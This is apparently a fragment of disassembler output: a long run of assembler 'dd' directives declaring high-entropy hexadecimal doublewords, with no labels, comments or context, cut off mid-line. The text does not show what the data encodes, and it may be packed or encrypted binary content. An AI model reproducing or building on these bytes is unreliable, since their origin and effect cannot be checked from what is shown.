dd 59537101h, 49879E64h, 404F099Eh, 2215BB7Bh, 0D713918h dd 4C38992Bh, 0E80C494h, 0F419FDA5h, 8D0988E0h, 0E4484EA1h dd 0F0C8F87Eh, 278511D9h, 9A541108h, 0B51FD422h, 3EF04265h dd 0D8A0F4D2h, 76049AC5h, 0EB0C69Dh, 1D2291BAh, 0F012E58Fh dd 0AD5187E4h, 65219EBCh, 4E22D16h, 0EA83127Ah, 40D85357h dd 4C8A6CACh, 0F2183902h, 5E71A136h, 86D4E95h, 0EA836080h dd 34FB5EEh, 30C5FFEEh, 0C10B1136h, 80F79FAAh, 1EF247EDh dd 3ABF19C9h, 1030401Fh, 15C75779h, 9032B424h, 10D05919h dd 0C1AF102Ah, 21BA0767h, 31A9A055h, 6F18D531h, 7EF7E445h dd 8324ECB8h, 89744274h, 9E82BCA3h, 80EF48F8h, 3FFED919h dd 0D6E0DB79h, 0CF0201E6h, 9389D1C1h, 20B09D35h, 163A5EC4h dd 20172C82h, 6E5C10BBh, 0D0FE8A74h, 380904E2h, 644EDF8Bh dd 61C007E8h, 0D82810h, 120A819h, 0A4825D25h, 1C935E80h dd 5159CE9Ah, 0EE1883Bh, 10911180h, 0F607A164h, 290C0248h dd 5992D476h, 0A888A812h, 86609164h, 215D83DDh, 8D266490h dd 0DA0A8434h, 9E020CBBh, 0A9213667h, 8F6051D0h, 1AA08DBAh dd 0B0444046h, 3E2018B0h, 58148C4Bh, 9128383Ah, 72832130h dd 0C46A2C3Eh, 6985368Ch, 3A00050h, 378789AEh, 210778D8h dd 5AC8FFE7h, 53673h, 5F1AFE29h, 75DDCF53h, 24F58804h dd 4883EB1h, 85689858h, 1B2EE128h, 0A4800E57h, 2862684Fh dd 21482CA0h, 0F9BC90BDh, 6842583Ah, 2000822h, 306063ADh dd 4810F0EDh, 14C81C06h, 8D6E5960h, 1DC02EA7h, 67E58A88h dd 1E924298h, 0D28F0E4h, 22210C68h, 10C33F20h, 0AD2F0C32h dd 1B91C417h, 0DCF7C80h, 100BFB8Dh, 9907DFEh, 8FA8542Dh dd 5CC05752h, 1AD23C6Dh, 5E818F0Fh, 0AE07D2A0h, 5F20AE5Bh dd 250DBA73h, 7C4922E7h, 7DDED0DDh, 66133900h, 6AFAA075h dd 409FBD6Dh, 0FC332308h, 72332321h, 9188177Fh, 67818F31h dd 0B6B1B56Eh, 5C30C118h, 64160BEEh, 0E0D9F7A0h, 4B186279h dd 0D40DC103h, 40BED925h, 0FDAA9048h, 7E386015h, 372F2EEEh dd 89440145h, 0FC85BBE8h, 80F2CBE3h, 0C5449538h, 478834E9h dd 7E4E9CB2h, 0B8B548B6h, 86F004Ah, 0BFCE201Dh, 2E904E4h dd 0BF706AF7h, 9532F028h dd 1711101Fh, 38E48F80h, 9A0BF76Ch, 724F04FEh, 5506442Ch dd 51009670h, 0A77BBC12h, 3861429h, 0BD0789A6h, 0C0F49AEAh dd 9CFB7F58h, 8D725812h, 0E02DD088h, 0E9590097h, 0C8D3D556h dd 0F6B88777h, 0C2698F00h, 77D3D0Bh, 0C74E02B0h, 689E0CBh dd 512D14F3h, 18307938h, 0A0DE07F8h, 527EF521h, 4AC262FDh dd 467E0056h, 18E3964h, 47E49DEAh, 2F2AD989h, 348237Ch dd 5E42AF75h, 89B3D4E0h, 4EFCE500h, 23BA15E9h, 83509B7h dd 981D6824h, 809D2A11h, 0F00C3E41h, 0A71714CFh, 3898332Ch dd 8283B7C9h, 0F9ADF398h, 3FAB81Ch, 0B3CA71B2h, 23E0FF7Fh dd 9C90D509h, 0D041B145h, 0C6CAF02h, 78C17BCh, 55F73B78h dd 95755003h, 0CB00CFCEh, 76F8D8F4h, 4C310ABCh, 7C56708Ah dd 0D77C60F7h, 780B0FE4h, 0C565AF24h, 8879A5A4h, 55779600h dd 1F67EB1Ch, 4472316Ah, 0EE05906Eh, 9D0DA442h, 46E45C32h dd 0AE0040D5h, 0AA674BDh, 0F145C576h, 3A8BA870h, 0B2110E71h dd 0B45C1F05h, 0C64B3043h, 2FFDE39Eh, 8410D019h, 0ACBC8E16h dd 12B04094h, 60E2AEF9h, 19C0F8F7h, 231104h, 95E0B55Dh dd 0EFA0F5D8h, 29103530h, 0A23441h, 625EBDF4h, 0FFA0D1FDh dd 0F72A0401h, 4B66196Eh, 1002F842h, 3C2DE8CFh, 0C214E758h dd 4410190Ch, 0E242847Eh, 832038F4h, 8916BB46h, 0F26CA2ECh dd 12CF304Ah, 0D3CDCA02h, 5776B725h, 6A91649Dh, 0A15A9380h dd 0A504BCB5h, 98D365A9h, 0FBA00C0h, 50A0BFE6h, 0D0F3A7FAh dd 0DC0B7C00h, 0B357D235h, 0A4100139h, 187465FFh, 0D7598059h dd 82CE7361h, 5CD403A9h, 0B05D0FB5h, 80813FF1h, 0DEC85450h dd 0CB03BCA8h, 0CCD2FDD9h, 15FBB700h, 0A3F9BE7Eh, 0ED16010Bh dd 4C821BCBh, 80393135h, 0CA84F629h, 0A6E475h, 872096F3h dd 0D83C04F8h, 1800D678h, 4F365064h, 0F41BD1CEh, 1814654Eh dd 5563C067h, 9E12F6D7h, 0D8B5363Eh, 86C4D0h, 0B308CAE5h dd 5DCF023Ch, 2C12177Bh, 0AC313BB0h, 2838E49Ah, 0E3545301h dd 435B4560h, 11CE1A04h, 46E7C000h, 5599B4E1h, 0F7DB0088h dd 84D5772Fh, 567DEF3Eh, 0F6D039h, 58784DABh, 6FE2D3B2h dd 72004070h, 64B8D2DBh, 0A2C8B00Ch, 1860289Eh, 40403C1Dh dd 5E284645h, 0CF74386Fh, 10E6E40Ch, 0FD82049h, 465F1E74h dd 0C7F19C80h, 2E012157h, 0CA79ED35h, 5CD80937h, 7DD400DFh dd 0FC3D83A4h, 1C770CF3h, 9C3B6600h, 0D4DB7034h, 0B25A1490h dd 9D3044A0h, 0BCF38151h, 9A311760h, 6088E575h, 0C0B08028h dd 0AA1F8095h, 0EC0D7A4Dh, 0CDCC1846h, 3D6F408Dh, 0B158D530h dd 3C0AF3EAh, 0E39F0898h, 944C5406h, 30A25586h, 0B029E41Eh dd 106D590Ch, 0CED50D76h, 0F170CC1Dh, 18198AF9h, 448CC80h dd 5E501ADCh, 728610FDh, 9B141855h, 948534h, 0E5199951h dd 50CBDD60h, 487480A1h, 5B39FCC8h, 297A1699h, 452D0835h dd 0C927F29Eh, 0FB34B0A0h, 1F2F1C07h, 32B280F1h, 182006FDh dd 0B417CC00h, 618AE428h, 373B00C5h, 5F03EAF8h, 203BCE60h dd 1F3003Ch, 5C834D19h, 9F490094h, 9A2145CCh, 661CD325h dd 0A03E3C6h, 0E04672B9h, 6A0E537h, 0F7BF1954h, 21CF184h dd 0D1401D9Ah, 0C65917Bh, 3EF20EB9h, 0C7CC2106h, 28030811h dd 0CD1CF616h, 7FF097ECh, 0F37768h, 0F03D79ABh, 727BDD8Bh dd 8F80CF01h, 383F183Ch, 0E0A4830h, 794B4DEh, 798AAB46h dd 59A5600h, 0F42634Ah, 755E003Ah, 0B6169054h, 7300C9F2h dd 240E1F36h, 771764Ch, 77AC4A1Ch, 0D7007E5Bh, 1B40B381h dd 0AB00ECB8h, 263DB1D6h, 0FF7C0C1h, 0FAD4376Ch, 76D21EA0h dd 0D01EA974h, 0A4C08E83h, 0D6BAB7A1h, 3D0B7462h, 0E9873815h dd 94FF1713h, 0D12B8025h, 0AD01ECE6h, 0FDE3EE91h, 0A44019D5h dd 0E05016h, 0CC24F5C8h, 0B01D7AAFh, 0F0453Dh, 4B5EC327h dd 695EEE1h, 0C24E343Bh, 7B00381Ch, 0B6EA8257h, 221B945Eh dd 5C01A1C6h, 43A2CABCh, 9ADC3F6Fh, 527056h, 0EC3E74AEh dd 1E5BDB3h, 823F103h, 89D1AFEDh, 6AE0D925h, 8214099Fh dd 6020D602h, 9270F7C6h, 3FDC6654h, 36380300h, 1C5983D6h dd 888500FFh, 3DB2F36Eh, 0E41FC2BDh, 92DE57C5h, 781CC140h dd 4DA2F9h, 0BBE01421h, 0E810FA79h, 0F8CE9F07h, 5C5081B9h dd 4288DCh, 59A2F59Ch, 29961E63h, 885B7030h, 0A09D7Ah dd 3E974BA4h, 0A28F61AEh, 2F9656C0h, 0FE877CA7h, 0F9740098h dd 0C78B5871h, 0B4165AE8h, 1E0070CFh, 0B16273CCh, 0EEDD09C9h dd 7023FDECh, 20A891B5h, 3D3ED535h, 7626752Dh, 0D30183E7h dd 5A757AA5h, 53020h, 0EF849799h, 13D919Ch, 6D96A903h dd 0C85CCD13h, 1DB366BCh, 407DBEDBh, 2D4C23EFh, 0C503FBA0h dd 45B67044h, 80A9ABA1h, 6B3F6BEh, 0CE5F2B5h, 0F99820C6h dd 35FE7303h, 0CEE4E49h, 0B67B3F40h, 9406A28h, 0C76B0030h dd 0F34B3DE7h, 2100CFDBh, 7CBC71CDh, 1F462Fh, 0F1D3AC73h dd 6E8395EBh, 0F69F0712h, 422CB800h, 606B0Ah, 4C555C37h dd 8BAD2320h, 0B6AA5F01h, 9DB0691Bh, 8F19F840h, 1629026Bh dd 5A34319Eh, 59B6C480h, 0AF76E0ECh, 0BD00C9B8h, 0B1DEEE4Bh dd 3FEB735Ah, 0E4BA63B8h, 2400353Fh, 0F2C23C7h, 29F013F7h dd 1788CC60h, 0A1A0DF5h, 4C30B8A3h, 0C60101C4h, 0CC402075h dd 0E8032959h, 0C0ED0F7Ch, 0C814EB33h, 76B1955Bh, 0FD7739Bh dd 1A9928C3h, 0B5C04BCEh, 0A30F17FEh, 0BC0907E0h, 234995h dd 152D22FCh, 0D7D204F7h, 81C5553Ah, 0D09398ECh, 0BE0F2BBAh dd 431626E8h, 0D0F64B39h, 3F1EC14h, 0CDAEB017h, 0CB903BC7h dd 98E02FD8h, 8DE2A200h, 0AC68C4FDh, 0F44A0F31h, 1A803C89h dd 0CE019133h, 0D16CEE03h, 0C02C5CE5h, 0A0BE02h, 0F2838058h dd 7D41CF1Eh, 12EE23F6h, 5100227Fh, 9DD6AC2Ah, 0C870B8h dd 50FD1E7Bh, 57AD4792h, 0D2F2DD00h, 33244374h, 7C4F00C8h dd 162D0356h, 1700262Eh, 0FC39C936h, 1D8DEFAh, 3CA389D5h dd 20984C84h, 5B098DB0h, 1F8FBE5h, 59AEDDF9h, 0F2B2D050h dd 93F607B1h, 82658431h, 0C6C055E1h, 78037744h, 6F59CA1Ah dd 0A0185BB1h, 2700B769h, 8613F5B2h, 0E0205Eh, 0EE75CF96h dd 81121B99h, 254FF0Eh, 6FC8C008h, 0F068664Fh, 79EAB8h dd 0EE695763h, 1CC5141Ah, 0C9058AE0h, 37F5D5C8h, 0B17B9000h dd 0EECE890h, 0DF64CEAEh, 0E0A0FB07h, 0A42EF65Ch, 331F7077h dd 0D1CE0416h, 870F806Dh, 7D48BD5Ah, 9C4A0078h, 0C9189019h dd 0D800D15Dh, 0CEF2D423h, 629F5Eh, 74DA4606h, 0BA16A18Ah dd 32FD7D1Dh, 5091D447h, 0B390DB57h, 38843E90h, 0AF00AE7Fh dd 0B4D5E844h, 0E90007D3h, 0C00AC9ACh, 772B3AF8h, 0AF910E10h dd 0CF2037BDh, 82C406DBh, 0CA48C502h, 803D94FFh, 0A01C7BA4h dd 6EB10067h, 811ECF66h, 390F0851h, 0C19AA5F8h, 1F4FB74Bh dd 141C1880h, 866568C0h, 32D85001h, 406418A1h, 26259E8h dd 0CD9D1D35h, 38E8CC90h, 0A73BD04Ah, 0EC7006B1h, 2418E24Ch dd 18A789DDh, 49CA18BFh, 0D5743874h, 78534Ch, 3C1E3F7Dh dd 42D46A3h, 0F5E4E671h, 0CDF8C009h, 9800149Dh, 6B8ADCADh dd 0C09FB156h, 0ACCBFC48h, 4C002505h, 868FFE3h, 599BA75Eh dd 0E62CE4A9h, 42100084h, 5C870EACh, 78FE1B1Dh, 0CDE24540h dd 3AF344Bh, 4F98309Fh, 82CCFDC0h, 0B8605CD8h, 0C30F1EBAh dd 0AF15201Fh, 0C92C00F5h, 13142E21h, 40BE12FAh, 0BCAEBD30h dd 0D800E447h, 0F07C6D87h dd 0ED509Fh, 7E558AE1h, 45C588EEh, 0CEBCD00h, 0B80806ACh dd 0B57B04F7h, 0D009F199h, 4E842FCh, 0E670E900h, 7EA394F3h dd 76CB0F4h, 6D464C1h, 357630C8h, 0C0C0B73Bh, 0E075557Ah dd 7C9807Eh, 63B65E48h, 0A3035AC0h, 1DF18840h, 9F015h dd 0F44E42E9h, 15D321Ah, 1D44E73Ah, 440DC13h, 1D0DA739h dd 0F0C03A51h, 0F5AA4280h, 65A94F1Eh, 0E940EEE2h, 0B1E81626h dd 454C40F9h, 43967F1h, 831DED3Fh, 449576C7h, 0A9FFC03Fh dd 907B00D5h, 0E00A663Bh, 992E368Bh, 2B031970h, 989469C2h dd 1FE53h, 9765BE32h, 3C40790Bh, 0DA614F61h, 0C0FB5C1Ah dd 76B0C4BFh, 0CA7743Fh, 3917616Eh, 662EBAF1h, 2F07A4DEh dd 92CEF186h, 20B7691Ch, 0B0C0A187h, 1807EBB8h, 48B2CCA3h dd 34A0F9D9h, 0F00F38DCh, 9EE23CE9h, 91C580F9h, 0C232D4D3h dd 0BCFD37DDh, 7CBE8128h, 5C9083BAh, 0A1610BE2h, 0CDC8F499h dd 9FC6076Fh, 0A096EE58h, 0D911D4D1h, 0F63DE307h, 0FEA08477h dd 24B83779h, 959CDE8Eh, 0BE3B6462h, 0B2C43372h, 7B88B060h dd 88BA5CFDh, 5005DB0Ch, 0FF7707Ch, 58819519h, 0E90D7287h dd 1E5ACC40h, 6FDF33Dh, 4DAE51E2h, 47501B58h, 0D7F070FCh dd 1AF8AB96h, 0D1417560h, 0CC0E7Ah, 0A6375056h, 18F4465Dh dd 69299764h, 1113F821h, 1911A753h, 828417B1h, 9A297B00h dd 0D1011DFEh, 6F3E1E79h, 0D630415Bh, 0FF61003Ch, 897E19A7h dd 0A200C543h, 9EC00B6Ch, 0D2156Eh, 0C90A6BADh, 0B50770A6h dd 62875C09h, 19E58061h, 0EED4B4E9h, 4C9400DEh, 0AD1178F7h dd 7C1C939Fh, 9140EC07h, 0D602DC5Eh, 6070F10Eh, 0FE782EFDh dd 0B29D0474h, 0AABD028Ch, 0A96900A7h, 0E71E1243h, 0B0D8E803h dd 146F19h, 0B7DFD4A1h, 6555BCEDh, 5FCAE200h, 0D6DB979Bh dd 8576007Eh, 53ED7FCh, 9000F044h, 49D1BC1Bh, 7EFA639h dd 8427822Bh, 575BB08Bh, 0EB00C598h, 0CEFD59B5h, 704CBA5h dd 0D28D12BEh, 91A77078h, 0F9097DC7h, 206CB357h, 9305DF8Ch dd 0E1E300C8h, 0C3109E34h, 6CE2B5CBh, 2A4AF4F3h, 0D9D87603h dd 81BB6147h, 3024F01Dh, 64880073h, 3C985863h, 0B2506FFBh dd 9D065EA7h, 8A70F253h, 0A26B0320h, 0CA9E2393h, 87AC17C9h dd 0F5A922CEh, 0EEAA1FC0h, 803D0097h, 3E0A6369h, 0CA002FA0h dd 0E8409698h, 7259B2E9h, 0F01E1FEAh, 7D4E68Bh, 32E3B646h dd 74681F2Bh, 0F50002EAh, 38D923A9h, 4CA3B0h, 0AF222F9Ch dd 0F00C7A05h, 0EFAAF801h, 19D853A4h, 0B00A07D4h, 0E07A08h dd 0A190618Ah, 3AB14695h, 0A367AF00h, 0E9F1910Fh, 7F5A00F4h dd 84D8F6BAh, 0C92831D9h, 200F852h, 468B0AA8h, 4F426h dd 875BBBC5h, 0A458614Ch, 3E006076h, 7457BC89h, 1616049Ah dd 1DC12A0Bh, 9E408120h, 0F0BA78F9h, 0C8903AEAh, 0E804AA00h dd 0BCA5A902h, 7EE0C04Eh, 4B1BC415h, 310EF4F7h, 605DB7Ch dd 638855AAh, 0EE1E8C43h, 0E2F688B9h, 99133818h, 0A4936280h dd 37B24798h, 65B03Ch, 24F605A6h, 155F2Bh, 873A77DEh, 0BB4FECE3h dd 0D36C6101h, 41CD5337h, 0FC20B057h, 312D6B4h, 82AFABE8h dd 5000DC05h, 0C61C69D2h, 9ABACCh, 3CF35E25h, 3A3E75DBh dd 48DF0726h, 3BFC5180h, 24702Fh, 0FA5A17A3h, 1B753539h dd 924895ECh, 8A7E0F24h, 0F2A6278Bh, 0C8A41F90h, 0B11A0088h dd 0A2277BFDh, 3509AFC6h, 7646178h, 0D2B0B818h, 2CAD0299h dd 105D46h, 269BE73Fh, 0A4F06ECBh, 0E9764418h, 16DCA0Eh dd 0A1C6E066h, 20B2496Ah, 7A76DAE0h, 3E42F80h, 565A1A0Fh dd 5198E903h, 4330C73Bh, 0E7072048h, 0D0391FA6h, 62E6C72Ch dd 6E57D055h, 0EE09367Bh, 0CE5A2Dh, 98FF38F4h, 0AB509F9h dd 0AC6891D0h, 8B008259h, 163E1C2Eh, 0EDFEB2h, 90366AABh dd 273C8334h, 0DB8F311Eh, 0F100CA57h, 0D395C556h, 901C598Ah dd 0A7431E00h, 0D9310D03h, 4100F178h, 300AE5ADh, 11EED6h dd 19E7AB39h, 0B82B80D3h, 0F8E33C3Fh, 0F4C45D00h, 11A63601h dd 0AD5B021Bh, 0E6F25981h, 42AC4C0h, 40DC48h, 0AB46EEC5h dd 762E43h, 265EC325h, 0B033C81Ch, 0FE421601h, 7CD4D532h dd 7D305FC4h, 72A101DBh, 36F5E549h, 8FB020DAh, 53562607h dd 68914C0Dh, 5F09D86h, 988A7D02h, 25FEC04h, 76FBA172h dd 1840E04Bh, 6100B8EBh, 9D7C4DEEh, 7C029A1Ah, 0F52C00AEh dd 8395B623h, 0FF2E0B9Eh, 0CF9CD8EBh, 8E531E09h, 98B301D2h dd 0E9F8C9BAh, 784302B0h, 0E4675B7Bh, 61C6848h, 6E111D00h dd 569D2F96h, 247E0097h, 457DD83h, 6004BAC3h, 0ADB95217h dd 9810D080h, 1AA08345h, 53003A96h, 0EE4A5EBFh, 754BABh dd 0FDE64F28h, 61F732E0h, 30382E30h, 2D95DEh, 1535FA7Ah dd 2F9B2242h, 0AAFC7C01h, 93234518h, 1FE52080h, 0E7CFFEEDh dd 0CA02EB0Fh, 1094FE9h, 0CC0AF476h, 16A0C8ECh, 580E6Bh dd 0AD34C55Ch, 0D02A4026h, 0A70084F0h, 0A4CDFB67h, 381109h dd 0CA9C91AAh, 0EF49262Bh, 84002498h, 0CB31F5F7h, 1F2E0E89h dd 9F2945C2h, 8FA40003h, 0EB4E5195h, 1268700Ah, 8A0408EEh dd 0A5C02648h, 397BD3D8h, 3780C1BAh, 13E2272Ch, 340016A6h dd 0F2B62BACh, 77F14D7Dh, 37091E9Dh, 73C0C09Ch, 55101859h dd 1629F600h, 84E7DB4Ch, 0B7A600E4h, 0D7374217h, 0E000098Ch dd 4ECC88B0h, 4AFFF3h, 0EA1DB8BCh, 80D1CB5h, 0E4B09501h dd 0D5E60ECAh, 0A027C860h, 4C1EDAC6h, 0DC00D501h, 20E79119h dd 1300360Fh, 0F2B8F3CBh, 98788114h, 0ADE46Ah, 800C289Bh dd 9386D7EBh, 2566740Ch, 384F94D9h, 0F580BBF0h, 0A5F819E3h dd 1E00F229h, 0FD609CB5h, 0FF2EA4h, 2C5CC538h, 0AC4D77E5h dd 0C8FC6B00h, 4F7C0226h, 4771CEh, 35F5E686h, 0C37F10AEh dd 0B964FC00h, 0F2F0A991h, 0C8E2002Fh, 0FB558A2Ah, 0DE0035E3h dd 77B4BBCCh, 121FE111h, 44F7EC8Bh, 92ADF640h, 2C489D24h dd 44011733h, 7D309224h, 2080ABFBh, 6F4B80Dh, 0E300DFC8h dd 0ED71D21Ah, 0EEC731h, 73D402ECh, 169388D0h, 0B285948h dd 60A53CCDh, 48441F74h, 923F868Bh, 2DC6B000h, 85C7A7B3h dd 1EA2995Ch, 2B85DD61h, 0C0006DC3h, 51DC587Ch, 91860331h dd 0AF1A85C5h, 77A480A5h, 0D3005FB3h, 69D0B426h, 16993A50h dd 4FCBA81Ah, 0EC9D7110h, 57748064h, 56FC6978h, 4B5A0601h dd 0A168ABC3h, 0B126828h, 0B47821ECh, 1EAC3863h, 219E76D3h dd 485E674Ch, 8DE20022h, 0DE877F6Eh, 8C78DDC2h, 8F805A7Eh dd 91980ED4h, 320E935h, 9D6261CDh, 83C03B48h, 98B07B5Ah dd 20468Ah, 0D2D6FAEAh, 4728A880h, 98240F00h, 39AC7CD8h dd 354735Fh, 995C73FFh, 0A4E4DEDCh, 0D409EBC0h, 64FBD91Ch dd 1F144040h, 0E8AA08E5h, 1A612179h, 0A9227190h, 5FB5A140h dd 1848187Ch, 18A81C61h, 0F136DE67h, 80881899h, 0F8B10238h dd 0B7D10068h, 0BE47B258h, 4F28F9DBh, 252E8E4h, 64124A24h dd 8910149Fh, 3E9E078Bh, 0EB0659BEh, 2D850064h, 0D543242h dd 2096B8A0h, 0B171C54Fh, 383F84Fh, 0B0BE2FC9h, 1D7717CBh dd 0E3399E4h, 18B7B826h, 0F39D28FAh, 0F44D7301h, 0E9DAF107h dd 9ECF36F0h, 0E2A88010h, 65734631h, 344F54A0h, 9A773Eh dd 926CB8D2h, 7348D79Ch, 84BE05B0h, 1DFA99D8h, 0B1DA0198h dd 2A33D036h, 51190806h, 23E30008h, 60F95883h, 0E169EE50h dd 27AB0170h, 0CB61F6E4h, 494ADC40h, 4A37B6Bh, 0CE98840Eh dd 0BEE8C16Dh dd 2E582054h, 9FCA904h, 0FCC04EEFh, 45447Eh, 0F8AE1E1Ch dd 0A74F3B0Bh, 14464100h, 66C45BA2h, 0D5670F71h, 0D4814A30h dd 0C06C337Fh, 3800F142h, 276860B2h, 0F2941Ch, 89753036h dd 0A7FF5B98h, 0B9D37E00h, 58667D7h, 28B0A1h, 4E296A74h dd 0B025F29Fh, 401B3501h, 28F37D2Ch, 0DB83D8h, 0A2133287h dd 0DAB7C384h, 9866C00h, 830E0A91h, 265C0054h, 7E366682h dd 2000F935h, 0FEE6023h, 94ABAD5h, 460ED9ACh, 93722051h dd 43FE534h, 2C1F51E8h, 0DD04E237h, 0C0A8B33Bh, 98CBC10h dd 5075689Ah, 1F8122D4h, 50B2A222h, 44FD14D0h, 22849DE8h dd 0C442B026h, 21EA7011h, 0AF9E08A9h, 0B984F890h, 424548E9h dd 0EC248AF1h, 17ED4821h, 88454218h, 0A68B082Eh, 6D2932E5h dd 89810D10h, 44B70834h, 2A44F9D9h, 289D44B1h, 11DB28A9h dd 0D7112B15h, 115C129Ch, 2114422Eh, 24F2F111h, 0D0B52170h dd 3C82BD12h, 6424972Eh, 78654140h, 4F05A3FCh, 5789D6E6h dd 4EA5FE80h, 840F00D7h, 0EC30BC2Fh, 0CD2E69A2h, 0E2005F33h dd 0D668470Bh, 0FB540038h, 556109EAh, 7C07646Bh, 4DCC9F37h dd 4020D2A0h, 94560474h, 0E0BA41C9h, 0D800F23Ch, 0E406B8B3h dd 14C8AFh, 0CE3BA8E7h, 45120EA5h, 2AEBCF00h, 0D003AA06h dd 0EE3F0046h, 5BDC53ABh, 1900C415h, 0F8D226CDh, 30646E86h dd 2A11717Dh, 0C1FC350Ah, 0FE923D00h, 0B53B8637h, 3CBC0047h dd 89882373h, 0B000338Eh, 0EF9F3851h, 95030B9h, 0A2680214h dd 0A4406424h, 0E100FEC8h, 5F7EF308h, 0B8B955AEh, 0B65E1254h dd 0F6D480C5h, 63178FA4h, 0BC0079DCh, 0A01EA77Eh, 4E680025h dd 9FF41A28h, 4A046163h, 0D49D8342h, 88A5E9C0h, 90B5B26h dd 50E0D1E4h, 6CB976FAh, 39405D1Eh, 0B12E43A0h, 9AEF0F24h dd 9F00A845h, 0AA361CA3h, 83388095h, 0BAB59481h, 47CC0760h dd 0B23062Bh, 0E8BD50C1h, 0C2E89B7Ah, 9C807100h, 106192E3h dd 0C9E803CAh, 2C0D7222h, 57C6D000h, 774DCE7Dh, 51AF00FAh dd 5BE890AEh, 0F038762h, 0ABB3B7F3h, 0A67AF0EBh, 706D0047h dd 6CACBD4Dh, 0D300C6FCh, 1DC40171h, 7E6B5DA0h, 0CAF30A69h dd 0B08432h, 0B03CA906h, 84958B5Fh, 58AC9B50h, 80A38A1Dh dd 0B430B348h, 0EE020568h, 7CD3B854h, 3C28785Eh, 7780BD59h dd 0C9DD8566h, 0F924E8F2h, 0D1003C3Ah, 0D0254595h, 0FE8E0059h dd 0BECA8CA8h, 4F00D7F1h, 4710719Bh, 0FD1E3Fh, 0AEE23B72h dd 0EF067B8Eh, 9541D05h, 0EC40F882h, 96BE1325h, 727B40A6h dd 0D9458500h, 8E030F9h, 0A4B8C6h, 9E27FF23h, 0DA9F5A3h dd 214D4DFAh, 1872588h, 65CDB17Ch, 0CEECB8F7h, 670FCACh dd 0DD12B596h, 50FA1198h, 2262BA1Ch, 69630680h, 10EBFDh dd 269D7314h, 0DF3142BFh, 0B3359300h, 2AC18F70h, 0AE180711h dd 40D0BA4Ah, 0E3F97495h, 0B659100h, 0B3CFA00Fh, 14773A3Dh dd 0C4E2010Ah, 9C3A01E8h, 8387A4ACh, 21DFD9D8h, 363CD891h dd 0E7240977h, 0F87041FEh, 557C4600h, 0F2DFC101h, 39150FEAh dd 0B6817ED3h, 0DCF181A1h, 0C3E058D8h, 0D9AD1C00h, 2EA66966h dd 830A28A2h, 1F1EC84h, 0E33768F4h, 0D0355F6Ah, 392666F6h dd 300F1BE2h, 2069E0DBh, 0AC45CDh, 0C6A45B3Fh, 0F2043B1Fh dd 899060E4h, 61353D1Dh, 3C58947Bh, 0ED2909F8h, 8F88596Dh dd 0D5E05270h, 80284389h, 0D4807CB4h, 0CCAA9277h, 0EDE70108h dd 0D36D3F7Fh, 698AF4DCh, 0D13B0700h, 8059CAB0h, 8E9CA1F5h dd 0FB53F0h, 0AD4531E7h, 0E86FA4DDh, 9C56EA00h, 265EAF68h dd 0C7900086h, 0D8A5AB36h, 0B5008142h, 0C2172159h, 6EC84Dh dd 827F990Dh, 7631CF1h, 0B9F9E100h, 0C295F3B5h, 0D9FA0004h dd 2DB63888h, 200A511h, 0CD9E7525h, 4820C2A6h, 0E30028C7h dd 0E773D418h, 0EB12CC08h, 0C0C302DFh, 0E0E2F00Dh, 32F6801Ah dd 0FA80009Eh, 0A0801BA7h, 65F50452h, 0C0192FC3h, 7A50CD51h dd 3E095C02h, 0D99A9FB0h, 808D0490h, 0D69CB01Bh, 88762500h dd 62201AA7h, 0DDBB0C03h, 0A621EC10h, 0F959220Fh, 0C9F220B5h dd 1A43AE7h, 0B3DB40Fh, 0F21EAE06h, 0C44B8880h, 0F8A105E2h dd 0F49AED20h, 5E12CB37h, 0A00E3A6h, 81109BB3h, 7E680077h dd 0E25212D8h, 13040864h, 5C6B2497h, 0A80E34C3h, 94BCBFh dd 509EF256h, 8FCE4E2Ch, 0DD0B3426h, 37AD9100h, 115E3Dh dd 0AACA6FBAh, 0A99E749Fh, 3A1E1000h, 360F5876h, 3F9900CEh dd 7BB281FBh, 147FAD88h, 39DA6000h, 1933FD7Dh, 6FEA000Fh dd 0DECDD48h, 6500A542h, 6B8599F9h, 896602h, 0B1ABB840h dd 8A5F7CD7h, 0BDE37500h, 73C6F6C8h, 0B09FFC15h, 31C20E2Ch dd 492C9611h, 371CA63Ah, 4E419813h, 2FA76901h, 4BA12081h dd 0FC74BABDh, 6600A6C8h, 73A5CA0Dh, 0CED112h, 54ACFF68h dd 4F4D5A9Fh, 0E1116609h, 0AB389039h, 87E30033h, 74B05292h dd 420B8166h, 19D018h, 9D69A194h, 38F00CDh, 5C1A1E39h dd 0C2E411ECh, 0DBE04B00h, 522368E5h, 0A5EC33h, 8510D77Ch dd 0BE1F012Eh, 0F2303900h, 8EA94425h, 3DFB004Ch, 0C104959Bh dd 0E5013673h, 2E3F8A48h, 97F4A866h, 217400FBh, 65661D0h dd 0C501FAF1h, 8C9A20FFh, 9CC4A112h, 77490C9h, 5F488467h dd 0EF389064h, 4600AE73h, 4F816A6Dh, 0C08674F6h, 779E6720h dd 0C679A21Fh, 0F4A81B00h, 0F1AD2E94h, 0A623008Fh, 74A19BF2h dd 74905795h, 0C63BAC01h, 36160599h, 266BADCCh, 40D7F3h dd 0C789FA37h, 0B00EE5Bh, 95DB541h, 0A27418FCh, 27C040A0h dd 350E0002h, 2E12F9D7h, 7A01E626h, 4F83AB54h, 0A8300CECh dd 305FA24h, 14084693h, 0C0FC7537h, 0B7924B06h, 8200C398h dd 8DE1D4BCh, 9097EF9Ch, 43C00025h, 2AB811EBh, 480070C1h dd 6D7C4A73h, 1CE901A1h, 80A8CC1Bh, 22E067F9h, 0BF01FAC3h dd 0CF7E8DCh, 90C03476h, 8ABE005Bh, 887559C0h, 300FD56h dd 674A96BDh, 23E13Ah, 1177E0DFh, 56CE8BB9h, 9BDA0300h dd 0BBC2057Fh, 0B6021C55h, 4B1CC093h, 4C26DBFBh, 52C8A201h dd 2975F5B2h, 1C00A078h, 0C53150AFh, 5A1792D1h, 0A112E5D2h dd 0D936F800h, 2F5D6Ch, 3D72F2DBh, 31636ECBh, 6BF3DA0Bh dd 61798738h, 0A4E0B547h, 2ACA347h, 3C93778Eh, 38604CA9h dd 8D027596h, 0B0382299h, 81F8603Dh, 25F50045h, 0AF0965D4h dd 0A490CD6Eh, 0C0B47125h, 481EEBB8h, 53165655h, 6CE40359h dd 13E81C3Ch, 2C9ACA63h, 2E350D02h, 40F2662Bh, 37D5120h dd 0E070673Fh, 22D22F1Fh, 84C7D283h, 359580B8h, 0FFF73800h dd 46D13DCBh, 442D0079h, 687DDC6Dh, 93000F53h, 10250358h dd 55B5A0h, 0D5F34115h, 32996E9Dh, 22072100h, 0F83E20A4h dd 0FD28182Fh, 0DE51605h, 2EA92600h, 0E98137E3h, 24AE128Bh dd 0DF8800CAh, 0EBE7D01Ch, 